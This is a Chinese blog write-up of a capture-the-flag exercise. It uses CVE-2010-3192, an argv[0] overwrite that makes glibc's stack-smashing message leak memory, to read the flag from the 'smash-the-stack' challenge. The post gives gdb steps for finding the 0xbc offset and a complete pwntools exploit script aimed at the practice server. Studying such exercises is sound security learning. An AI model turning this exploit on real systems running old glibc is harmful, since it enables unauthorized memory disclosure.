Pwn学习总结(7):Canary 利用CVE-2010-3192实现任意地址读


实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/canary/smash-the-stack

Remote:

nc hackme.inndy.tw 7717

注意⚠️:本题利用的漏洞CVE-2010-3192在libc 2.26及以上版本已被修复[1],所以在自己的机器上执行应该是无效的,请直接使用Remote进行执行或者换个低版本的libc。

CVE-2010-3192原理详解请见[1]。

在这道题目里面,很难直接用IDA去看操作系统在栈上布局argv[0]的偏移量,所以我决定使用gdb调试去计算。

利用peda-gdb调试,输入下列命令:

file smash-the-stack
b main
run
ni

到达.text0x08048402处,此时函数的序言已经执行完毕,截图如下:

观察可以发现,argv[0]的地址是0xffffcfa4ebp的值为0xffffcef8

在IDA中观察可知,对buf的引用都是以ebp-10h的偏移量引用的,因此计算argv[0] - (ebp - 10h) = 0xbc作为padding,后接要泄漏的内存地址。

可得answer.py如下:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")

p = remote("hackme.inndy.tw", 7717)
#p = process('./smash-the-stack')
elf = ELF('./smash-the-stack')

buff_bss = elf.sym['buff']

payload = 0xbc*'a' + p32(buff_bss)
p.sendline(payload)

p.interactive()

Get Flag 成功:

参考资料:
[1] https://renjikai.com/cve-2010-3192/
[2] https://blog.csdn.net/niexinming/article/details/78522682

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注